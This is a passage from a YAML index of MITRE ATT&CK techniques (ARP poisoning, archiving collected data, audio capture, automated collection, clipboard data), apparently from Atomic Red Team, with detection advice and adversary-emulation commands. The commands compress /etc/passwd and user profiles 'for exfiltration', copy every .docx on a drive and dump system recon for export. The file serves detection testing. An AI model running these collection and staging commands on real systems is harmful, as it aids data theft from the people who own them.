        Adversaries may use ARP cache poisoning as a means to man-in-the-middle (MiTM) network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003)
      id: attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: collection
      modified: '2021-04-21T16:41:35.256Z'
      created: '2020-10-15T12:05:58.755Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      x_mitre_detection: "Monitor network traffic for unusual ARP traffic, gratuitous
        ARP replies may be suspicious. \n\nConsider collecting changes to ARP caches
        across endpoints for signs of ARP poisoning. For example, if multiple IP addresses
        map to a single MAC address, this could be an indicator that the ARP cache
        has been poisoned."
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Traffic Flow'
      x_mitre_contributors:
      - Jon Sternstein, Stern Security
      x_mitre_platforms:
      - Linux
      - Windows
      - macOS
    atomic_tests: []
  T1560:
    technique:
      id: attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a
      description: |-
        An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.

        Both compression and encryption are done prior to exfiltration, and can be performed using a utility, 3rd party library, or custom method.
      name: Archive Collected Data
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1560
        url: https://attack.mitre.org/techniques/T1560
      - url: https://en.wikipedia.org/wiki/List_of_file_signatures
        description: Wikipedia. (2016, March 31). List of file signatures. Retrieved
          April 22, 2016.
        source_name: Wikipedia File Header Signatures
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      modified: '2020-10-21T16:36:55.831Z'
      created: '2020-02-20T20:53:45.725Z'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'File: File Creation'
      - 'Script: Script Execution'
      x_mitre_detection: |-
        Archival software and archived files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used.

        A process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures.

        Consider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)
      x_mitre_is_subtechnique: false
      x_mitre_version: '1.0'
      identifier: T1560
    atomic_tests:
    - name: Compress Data for Exfiltration With PowerShell
      auto_generated_guid: 41410c60-614d-4b9d-b66e-b0192dd9c597
      description: "An adversary may compress data (e.g., sensitive documents) that
        is collected prior to exfiltration.\nWhen the test completes you should find
        the files from the $env:USERPROFILE directory compressed in a file called
        T1560-data-ps.zip in the $env:USERPROFILE directory \n"
      supported_platforms:
      - windows
      input_arguments:
        input_file:
          description: Path that should be compressed into our output file
          type: Path
          default: "$env:USERPROFILE"
        output_file:
          description: Path where resulting compressed data should be placed
          type: Path
          default: "$env:USERPROFILE\\T1560-data-ps.zip"
      executor:
        name: powershell
        elevation_required: false
        command: 'dir #{input_file} -Recurse | Compress-Archive -DestinationPath #{output_file}

'
        cleanup_command: 'Remove-Item -path #{output_file} -ErrorAction Ignore'
  T1560.003:
    technique:
      created: '2020-02-20T21:09:55.995Z'
      modified: '2020-03-25T22:48:14.605Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      type: attack-pattern
      id: attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b
      description: 'An adversary may compress or encrypt data that is collected prior
        to exfiltration using a custom method. Adversaries may choose to use custom
        archival methods, such as encryption with XOR or stream ciphers implemented
        with no external library or utility references. Custom implementations of
        well-known compression algorithms have also been used.(Citation: ESET Sednit
        Part 2)'
      name: Archive via Custom Method
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1560.003
        url: https://attack.mitre.org/techniques/T1560/003
      - url: http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf
        description: 'ESET. (2016, October). En Route with Sednit - Part 2: Observing
          the Comings and Goings. Retrieved November 21, 2016.'
        source_name: ESET Sednit Part 2
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_detection: Custom archival methods can be very difficult to detect,
        since many of them use standard programming language concepts, such as bitwise
        operations.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Script: Script Execution'
    atomic_tests: []
  T1560.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1560.002
        url: https://attack.mitre.org/techniques/T1560/002
      - source_name: PyPI RAR
        url: https://pypi.org/project/rarfile/
        description: mkz. (2020). rarfile 3.1. Retrieved February 20, 2020.
      - source_name: libzip
        url: https://libzip.org/
        description: D. Baron, T. Klausner. (2020). libzip. Retrieved February 20,
          2020.
      - source_name: Zlib Github
        url: https://github.com/madler/zlib
        description: madler. (2017). zlib. Retrieved February 20, 2020.
      - url: https://en.wikipedia.org/wiki/List_of_file_signatures
        description: Wikipedia. (2016, March 31). List of file signatures. Retrieved
          April 22, 2016.
        source_name: Wikipedia File Header Signatures
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Archive via Library
      description: |-
        An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party libraries. Many libraries exist that can archive data, including [Python](https://attack.mitre.org/techniques/T1059/006) rarfile (Citation: PyPI RAR), libzip (Citation: libzip), and zlib (Citation: Zlib Github). Most libraries include functionality to encrypt and/or compress data.

        Some archival libraries are preinstalled on systems, such as bzip2 on macOS and Linux, and zip on Windows. Note that the libraries are different from the utilities. The libraries can be linked against when compiling, while the utilities require spawning a subshell, or a similar execution mechanism.
      id: attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      modified: '2020-03-29T18:27:30.891Z'
      created: '2020-02-20T21:08:52.529Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_detection: |-
        Monitor processes for accesses to known archival libraries. This may yield a significant number of benign events, depending on how systems in the environment are typically used.

        Consider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Script: Script Execution'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      identifier: T1560.002
    atomic_tests:
    - name: Compressing data using GZip in Python (Linux)
      auto_generated_guid: 391f5298-b12d-4636-8482-35d9c17d53a8
      description: 'Uses GZip from Python to compress files

'
      supported_platforms:
      - linux
      input_arguments:
        path_to_input_file:
          description: Path to the file that you want to compress
          type: Path
          default: "/etc/passwd"
        path_to_output_file:
          description: Path of the file that you want your .gz file to be
          type: Path
          default: "/tmp/passwd.gz"
      dependency_executor_name: bash
      dependencies:
      - description: 'Requires Python

'
        prereq_command: 'which_python=`which python`; $which_python -V

'
        get_prereq_command: ''
      executor:
        name: bash
        elevation_required: false
        command: '$which_python -c "import gzip;input_file=open(''#{path_to_input_file}'',
          ''rb'');content=input_file.read();input_file.close();output_file=gzip.GzipFile(''#{path_to_output_file}'',''wb'',''compresslevel=6'');output_file.write(content);output_file.close();"

'
        cleanup_command: 'rm #{path_to_output_file}

'
    - name: Compressing data using bz2 in Python (Linux)
      auto_generated_guid: c75612b2-9de0-4d7c-879c-10d7b077072d
      description: 'Uses bz2 from Python to compress files

'
      supported_platforms:
      - linux
      input_arguments:
        path_to_input_file:
          description: Path to the file that you want to compress
          type: Path
          default: "/etc/passwd"
        path_to_output_file:
          description: Path of the file that you want your .bz2 file to be
          type: Path
          default: "/tmp/passwd.bz2"
      dependency_executor_name: bash
      dependencies:
      - description: 'Requires Python

'
        prereq_command: 'which_python=`which python`; $which_python -V

'
        get_prereq_command: ''
      executor:
        name: bash
        elevation_required: false
        command: '$which_python -c "import bz2;input_file=open(''#{path_to_input_file}'',''rb'');content=input_file.read();input_file.close();bz2content=bz2.compress(content,compresslevel=9);output_file=open(''#{path_to_output_file}'',''w+'');output_file.write(bz2content);output_file.close();"

'
        cleanup_command: 'rm #{path_to_output_file}

'
    - name: Compressing data using zipfile in Python (Linux)
      auto_generated_guid: 001a042b-859f-44d9-bf81-fd1c4e2200b0
      description: 'Uses zipfile from Python to compress files

'
      supported_platforms:
      - linux
      input_arguments:
        path_to_input_file:
          description: Path to the file that you want to compress
          type: Path
          default: "/etc/passwd"
        path_to_output_file:
          description: Path of the file that you want your .zip file to be
          type: Path
          default: "/tmp/passwd.zip"
      dependency_executor_name: bash
      dependencies:
      - description: 'Requires Python

'
        prereq_command: 'which_python=`which python`; $which_python -V

'
        get_prereq_command: ''
      executor:
        name: bash
        elevation_required: false
        command: '$which_python -c "from zipfile import ZipFile; ZipFile(''#{path_to_output_file}'',
          mode=''w'').write(''#{path_to_input_file}'')"

'
        cleanup_command: 'rm #{path_to_output_file}

'
    - name: Compressing data using tarfile in Python (Linux)
      auto_generated_guid: e86f1b4b-fcc1-4a2a-ae10-b49da01458db
      description: 'Uses tarfile from Python to compress files

'
      supported_platforms:
      - linux
      input_arguments:
        path_to_input_file:
          description: Path to the file that you want to compress
          type: Path
          default: "/etc/passwd"
        path_to_output_file:
          description: Path of the file that you want your .tar.gz file to be
          type: Path
          default: "/tmp/passwd.tar.gz"
      dependency_executor_name: bash
      dependencies:
      - description: 'Requires Python

'
        prereq_command: 'which_python=`which python`; $which_python -V

'
        get_prereq_command: ''
      executor:
        name: bash
        elevation_required: false
        command: "$which_python -c \"from zipfile import ZipFile; ZipFile('#{path_to_output_file}',
          mode='w').write('#{path_to_input_file}')\" \n"
        cleanup_command: 'rm #{path_to_output_file}

'
  T1560.001:
    technique:
      created: '2020-02-20T21:01:25.428Z'
      modified: '2020-03-25T21:54:37.374Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      type: attack-pattern
      id: attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662
      description: |-
        An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party utilities. Many utilities exist that can archive data, including 7-Zip(Citation: 7zip Homepage), WinRAR(Citation: WinRAR Homepage), and WinZip(Citation: WinZip Homepage). Most utilities include functionality to encrypt and/or compress data.

        Some 3rd party utilities may be preinstalled, such as `tar` on Linux and macOS or `zip` on Windows systems.
      name: Archive via Utility
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1560.001
        url: https://attack.mitre.org/techniques/T1560/001
      - source_name: 7zip Homepage
        url: https://www.7-zip.org/
        description: I. Pavlov. (2019). 7-Zip. Retrieved February 20, 2020.
      - source_name: WinRAR Homepage
        url: https://www.rarlab.com/
        description: A. Roshal. (2020). RARLAB. Retrieved February 20, 2020.
      - source_name: WinZip Homepage
        url: https://www.winzip.com/win/en/
        description: Corel Corporation. (2020). WinZip. Retrieved February 20, 2020.
      - url: https://en.wikipedia.org/wiki/List_of_file_signatures
        description: Wikipedia. (2016, March 31). List of file signatures. Retrieved
          April 22, 2016.
        source_name: Wikipedia File Header Signatures
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'File: File Creation'
      x_mitre_detection: |-
        Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used.

        Consider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      identifier: T1560.001
    atomic_tests:
    - name: Compress Data for Exfiltration With Rar
      auto_generated_guid: 02ea31cb-3b4c-4a2d-9bf1-e4e70ebcf5d0
      description: "An adversary may compress data (e.g., sensitive documents) that
        is collected prior to exfiltration.\nWhen the test completes you should find
        the txt files from the %USERPROFILE% directory compressed in a file called
        T1560.001-data.rar in the %USERPROFILE% directory \n"
      supported_platforms:
      - windows
      input_arguments:
        input_path:
          description: Path that should be compressed into our output file
          type: Path
          default: "%USERPROFILE%"
        file_extension:
          description: Extension of files to compress
          type: String
          default: ".txt"
        output_file:
          description: Path where resulting compressed data should be placed
          type: Path
          default: "%USERPROFILE%\\T1560.001-data.rar"
        rar_installer:
          description: Winrar installer
          type: Path
          default: "%TEMP%\\winrar.exe"
        rar_exe:
          description: The RAR executable from Winrar
          type: Path
          default: "%programfiles%/WinRAR/Rar.exe"
      dependencies:
      - description: 'Rar tool must be installed at specified location (#{rar_exe})

'
        prereq_command: 'if not exist "#{rar_exe}" (exit /b 1)

'
        get_prereq_command: |
          echo Downloading Winrar installer
          bitsadmin /transfer myDownloadJob /download /priority normal "https://www.win-rar.com/fileadmin/winrar-versions/winrar/th/winrar-x64-580.exe" #{rar_installer}
          #{rar_installer} /S
      executor:
        name: command_prompt
        elevation_required: false
        command: '"#{rar_exe}" a -r #{output_file} #{input_path}\*#{file_extension}

'
        cleanup_command: 'del /f /q /s #{output_file} >nul 2>&1

'
    - name: Compress Data and lock with password for Exfiltration with winrar
      auto_generated_guid: 8dd61a55-44c6-43cc-af0c-8bdda276860c
      description: |
        Note: Requires winrar installation
        rar a -p"blue" hello.rar (VARIANT)
      supported_platforms:
      - windows
      input_arguments:
        rar_installer:
          description: Winrar installer
          type: Path
          default: "%TEMP%\\winrar.exe"
        rar_exe:
          description: The RAR executable from Winrar
          type: Path
          default: "%programfiles%/WinRAR/Rar.exe"
      dependencies:
      - description: 'Rar tool must be installed at specified location (#{rar_exe})

'
        prereq_command: 'if not exist "#{rar_exe}" (exit /b 1)

'
        get_prereq_command: |
          echo Downloading Winrar installer
          bitsadmin /transfer myDownloadJob /download /priority normal "https://www.win-rar.com/fileadmin/winrar-versions/winrar/th/winrar-x64-580.exe" #{rar_installer}
          #{rar_installer} /S
      executor:
        name: command_prompt
        elevation_required: false
        command: |
          mkdir .\tmp\victim-files
          cd .\tmp\victim-files
          echo "This file will be encrypted" > .\encrypted_file.txt
          "#{rar_exe}" a -hp"blue" hello.rar
          dir
    - name: Compress Data and lock with password for Exfiltration with winzip
      auto_generated_guid: 01df0353-d531-408d-a0c5-3161bf822134
      description: |
        Note: Requires winzip installation
        wzzip sample.zip -s"blueblue" *.txt (VARIANT)
      supported_platforms:
      - windows
      input_arguments:
        winzip_exe:
          description: Path to installed Winzip executable
          type: Path
          default: "%ProgramFiles%\\WinZip\\winzip64.exe"
        winzip_url:
          description: Path to download Windows Credential Editor zip file
          type: Url
          default: https://download.winzip.com/gl/nkln/winzip24-home.exe
        winzip_hash:
          description: File hash of the Windows Credential Editor zip file
          type: String
          default: B59DB592B924E963C21DA8709417AC0504F6158CFCB12FE5536F4A0E0D57D7FB
      dependency_executor_name: powershell
      dependencies:
      - description: 'Winzip must be installed

'
        prereq_command: 'cmd /c ''if not exist "#{winzip_exe}" (echo 1) else (echo
          0)''

'
        get_prereq_command: |
          if(Invoke-WebRequestVerifyHash "#{winzip_url}" "$env:Temp\winzip.exe" #{winzip_hash}){
            Write-Host Follow the installation prompts to continue
            cmd /c "$env:Temp\winzip.exe"
          }
      executor:
        name: command_prompt
        elevation_required: false
        command: |
          path=%path%;"C:\Program Files (x86)\winzip"
          mkdir .\tmp\victim-files
          cd .\tmp\victim-files
          echo "This file will be encrypted" > .\encrypted_file.txt
          "#{winzip_exe}" -min -a -s"hello" archive.zip *
          dir
    - name: Compress Data and lock with password for Exfiltration with 7zip
      auto_generated_guid: d1334303-59cb-4a03-8313-b3e24d02c198
      description: 'Note: Requires 7zip installation

'
      supported_platforms:
      - windows
      input_arguments:
        7zip_installer:
          description: 7zip installer
          type: Path
          default: "%TEMP%\\7zip.exe"
        7zip_exe:
          description: Path to installed 7zip executable
          type: Path
          default: "%ProgramFiles%\\7-zip\\7z.exe"
      dependencies:
      - description: '7zip tool must be installed at specified location (#{7zip_exe})

'
        prereq_command: 'if not exist "#{7zip_exe}" (exit /b 1)

'
        get_prereq_command: |
          echo Downloading 7-zip installer
          bitsadmin /transfer myDownloadJob /download /priority normal "https://www.7-zip.org/a/7z2002-x64.exe" #{7zip_installer}
          #{7zip_installer} /S
      executor:
        name: command_prompt
        elevation_required: false
        command: |
          mkdir $PathToAtomicsFolder\T1560.001\victim-files
          cd $PathToAtomicsFolder\T1560.001\victim-files
          echo "This file will be encrypted" > .\encrypted_file.txt
          "#{7zip_exe}" u archive.7z *txt -pblue
          dir
    - name: Data Compressed - nix - zip
      auto_generated_guid: c51cec55-28dd-4ad2-9461-1eacbc82c3a0
      description: 'An adversary may compress data (e.g., sensitive documents) that
        is collected prior to exfiltration. This test uses standard zip compression.

'
      supported_platforms:
      - linux
      - macos
      input_arguments:
        input_files:
          description: Path that should be compressed into our output file, may include
            wildcards
          type: Path
          default: "/var/log/{w,b}tmp"
        output_file:
          description: Path that should be output as a zip archive
          type: Path
          default: "$HOME/data.zip"
      dependencies:
      - description: 'Files to zip must exist (#{input_files})

'
        prereq_command: 'if [ $(ls #{input_files} | wc -l) > 0 ] && [ -x $(which zip)
          ] ; then exit 0; else exit 1; fi;

'
        get_prereq_command: |
          (which yum && yum -y epel-release zip)||(which apt-get && apt-get install -y zip)
          echo Please set input_files argument to include files that exist
      executor:
        name: sh
        elevation_required: false
        command: 'zip #{output_file} #{input_files}

'
        cleanup_command: 'rm -f #{output_file}

'
    - name: Data Compressed - nix - gzip Single File
      auto_generated_guid: cde3c2af-3485-49eb-9c1f-0ed60e9cc0af
      description: 'An adversary may compress data (e.g., sensitive documents) that
        is collected prior to exfiltration. This test uses standard gzip compression.

'
      supported_platforms:
      - linux
      - macos
      input_arguments:
        input_file:
          description: Path that should be compressed
          type: Path
          default: "$HOME/victim-gzip.txt"
        input_content:
          description: contents of compressed files if file does not already exist.
            default contains test credit card and social security number
          type: String
          default: 'confidential! SSN: 078-05-1120 - CCN: 4000 1234 5678 9101'
      executor:
        name: sh
        elevation_required: false
        command: 'test -e #{input_file} && gzip -k #{input_file} || (echo ''#{input_content}''
          >> #{input_file}; gzip -k #{input_file})

'
        cleanup_command: 'rm -f #{input_file}.gz

'
    - name: Data Compressed - nix - tar Folder or File
      auto_generated_guid: 7af2b51e-ad1c-498c-aca8-d3290c19535a
      description: 'An adversary may compress data (e.g., sensitive documents) that
        is collected prior to exfiltration. This test uses standard gzip compression.

'
      supported_platforms:
      - linux
      - macos
      input_arguments:
        input_file_folder:
          description: Path that should be compressed
          type: Path
          default: "$HOME/$USERNAME"
        output_file:
          description: File that should be output
          type: Path
          default: "$HOME/data.tar.gz"
      dependencies:
      - description: 'Folder to zip must exist (#{input_file_folder})

'
        prereq_command: 'test -e #{input_file_folder}

'
        get_prereq_command: 'echo Please set input_file_folder argument to a folder
          that exists

'
      executor:
        name: sh
        elevation_required: false
        command: 'tar -cvzf #{output_file} #{input_file_folder}

'
        cleanup_command: 'rm -f #{output_file}

'
    - name: Data Encrypted with zip and gpg symmetric
      auto_generated_guid: '0286eb44-e7ce-41a0-b109-3da516e05a5f'
      description: 'Encrypt data for exiltration

'
      supported_platforms:
      - macos
      - linux
      input_arguments:
        test_folder:
          description: Path used to store files.
          type: Path
          default: "/tmp/T1560"
        test_file:
          description: Temp file used to store encrypted data.
          type: Path
          default: T1560
        encryption_password:
          description: Password used to encrypt data.
          type: String
          default: InsertPasswordHere
      dependency_executor_name: sh
      dependencies:
      - description: gpg and zip are required to run the test.
        prereq_command: 'if [ ! -x "$(command -v gpg)" ] || [ ! -x "$(command -v zip)"
          ]; then exit 1; fi;

'
        get_prereq_command: "(which yum && yum -y epel-release zip gpg)||(which apt-get
          && apt-get install -y zip gpg)\n"
      executor:
        name: sh
        elevation_required: false
        command: |
          mkdir -p #{test_folder}
          cd #{test_folder}; touch a b c d e f g
          zip --password "#{encryption_password}" #{test_folder}/#{test_file} ./*
          echo "#{encryption_password}" | gpg --batch --yes --passphrase-fd 0 --output #{test_folder}/#{test_file}.zip.gpg -c #{test_folder}/#{test_file}.zip
          ls -l #{test_folder}
        cleanup_command: 'rm -Rf #{test_folder}

'
  T1123:
    technique:
      id: attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Audio Capture
      description: |-
        An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.

        Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1123
        external_id: T1123
      - external_id: CAPEC-634
        source_name: capec
        url: https://capec.mitre.org/data/definitions/634.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      modified: '2020-07-14T19:42:10.235Z'
      created: '2017-05-31T21:31:34.528Z'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_permissions_required:
      - User
      x_mitre_detection: |-
        Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.

        Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data.
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Command: Command Execution'
      x_mitre_version: '1.0'
      identifier: T1123
    atomic_tests:
    - name: using device audio capture commandlet
      auto_generated_guid: 9c3ad250-b185-4444-b5a9-d69218a10c95
      description: "[AudioDeviceCmdlets](https://github.com/cdhunt/WindowsAudioDevice-Powershell-Cmdlet)\n"
      supported_platforms:
      - windows
      executor:
        command: 'powershell.exe -Command WindowsAudioDevice-Powershell-Cmdlet

'
        name: powershell
  T1119:
    technique:
      created: '2017-05-31T21:31:27.985Z'
      modified: '2020-03-31T22:18:43.019Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      type: attack-pattern
      id: attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Automated Collection
      description: "Once established within a system or network, an adversary may
        use automated techniques for collecting internal data. Methods for performing
        this technique could include use of a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)
        to search for and copy information fitting set criteria such as file type,
        location, or name at specific time intervals. This functionality could also
        be built into remote access tools. \n\nThis technique may incorporate use
        of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)
        and [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570) to
        identify and move files."
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1119
        external_id: T1119
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_system_requirements:
      - Permissions to access directories and files that store information of interest.
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_permissions_required:
      - User
      x_mitre_detection: Depending on the method used, actions could include common
        file system commands and parameters on the command-line interface within batch
        files or scripts. A sequence of actions like this may be unusual, depending
        on the system and network environment. Automated collection may occur along
        with other techniques such as [Data Staged](https://attack.mitre.org/techniques/T1074).
        As such, file access monitoring that shows an unusual process performing sequential
        file opens and potentially copy actions to another location on the file system
        for many files at once may indicate automated collection behavior. Remote
        access tools with built-in features may interact directly with the Windows
        API to gather data. Data may also be acquired through Windows system management
        tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047)
        and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
      x_mitre_data_sources:
      - 'File: File Access'
      - 'Command: Command Execution'
      - 'Script: Script Execution'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: false
      identifier: T1119
    atomic_tests:
    - name: Automated Collection Command Prompt
      auto_generated_guid: cb379146-53f1-43e0-b884-7ce2c635ff5b
      description: |
        Automated Collection. Upon execution, check the users temp directory (%temp%) for the folder T1119_command_prompt_collection
        to see what was collected.
      supported_platforms:
      - windows
      executor:
        command: |
          mkdir %temp%\T1119_command_prompt_collection >nul 2>&1
          dir c: /b /s .docx | findstr /e .docx
          for /R c: %f in (*.docx) do copy %f %temp%\T1119_command_prompt_collection
        cleanup_command: 'del %temp%\T1119_command_prompt_collection /F /Q >nul 2>&1

'
        name: command_prompt
    - name: Automated Collection PowerShell
      auto_generated_guid: 634bd9b9-dc83-4229-b19f-7f83ba9ad313
      description: |
        Automated Collection. Upon execution, check the users temp directory (%temp%) for the folder T1119_powershell_collection
        to see what was collected.
      supported_platforms:
      - windows
      executor:
        command: |
          New-Item -Path $env:TEMP\T1119_powershell_collection -ItemType Directory -Force | Out-Null
          Get-ChildItem -Recurse -Include *.doc | % {Copy-Item $_.FullName -destination $env:TEMP\T1119_powershell_collection}
        cleanup_command: 'Remove-Item $env:TEMP\T1119_powershell_collection -Force
          -ErrorAction Ignore | Out-Null

'
        name: powershell
    - name: Recon information for export with PowerShell
      auto_generated_guid: c3f6d794-50dd-482f-b640-0384fbb7db26
      description: |
        collect information for exfiltration. Upon execution, check the users temp directory (%temp%) for files T1119_*.txt
        to see what was collected.
      supported_platforms:
      - windows
      executor:
        command: |
          Get-Service > $env:TEMP\T1119_1.txt
          Get-ChildItem Env: > $env:TEMP\T1119_2.txt
          Get-Process > $env:TEMP\T1119_3.txt
        cleanup_command: |
          Remove-Item $env:TEMP\T1119_1.txt -ErrorAction Ignore
          Remove-Item $env:TEMP\T1119_2.txt -ErrorAction Ignore
          Remove-Item $env:TEMP\T1119_3.txt -ErrorAction Ignore
        name: powershell
    - name: Recon information for export with Command Prompt
      auto_generated_guid: aa1180e2-f329-4e1e-8625-2472ec0bfaf3
      description: |
        collect information for exfiltration. Upon execution, check the users temp directory (%temp%) for files T1119_*.txt
        to see what was collected.
      supported_platforms:
      - windows
      executor:
        command: |
          sc query type=service > %TEMP%\T1119_1.txt
          doskey /history > %TEMP%\T1119_2.txt
          wmic process list > %TEMP%\T1119_3.txt
          tree C:\AtomicRedTeam\atomics > %TEMP%\T1119_4.txt
        cleanup_command: |
          del %TEMP%\T1119_1.txt >nul 2>&1
          del %TEMP%\T1119_2.txt >nul 2>&1
          del %TEMP%\T1119_3.txt >nul 2>&1
          del %TEMP%\T1119_4.txt >nul 2>&1
        name: command_prompt
  T1115:
    technique:
      created: '2017-05-31T21:31:25.967Z'
      modified: '2020-04-23T18:35:58.230Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      type: attack-pattern
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1115
        url: https://attack.mitre.org/techniques/T1115
      - external_id: CAPEC-637
        source_name: capec
        url: https://capec.mitre.org/data/definitions/637.html
      - url: https://msdn.microsoft.com/en-us/library/ms649012
        description: Microsoft. (n.d.). About the Clipboard. Retrieved March 29, 2016.
        source_name: MSDN Clipboard
      - url: https://medium.com/rvrsh3ll/operating-with-empyre-ea764eda3363
        description: rvrsh3ll. (2016, May 18). Operating with EmPyre. Retrieved July
          12, 2017.
        source_name: Operating with EmPyre
      description: "Adversaries may collect data stored in the clipboard from users
        copying information within or between applications. \n\nIn Windows, Applications
        can access clipboard data by using the Windows API.(Citation: MSDN Clipboard)
        OSX provides a native command, <code>pbpaste</code>, to grab clipboard contents.(Citation:
        Operating with EmPyre)"
      name: Clipboard Data
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Command: Command Execution'
      x_mitre_detection: Access to the clipboard is a legitimate function of many
        applications on an operating system. If an organization chooses to monitor
        for this behavior, then the data will likely need to be correlated against
        other suspicious or non-user-driven activity.
      x_mitre_platforms:
      - Linux
      - Windows
      - macOS
      x_mitre_is_subtechnique: false
      identifier: T1115
    atomic_tests:
    - name: Utilize Clipboard to store or execute commands from
      auto_generated_guid: 0cd14633-58d4-4422-9ede-daa2c9474ae7
      description: 'Add data to clipboard to copy off or execute commands from.

'
      supported_platforms:
      - windows
      executor:
        command: |
          dir | clip
          echo "T1115" > %temp%\T1115.txt
          clip < %temp%\T1115.txt
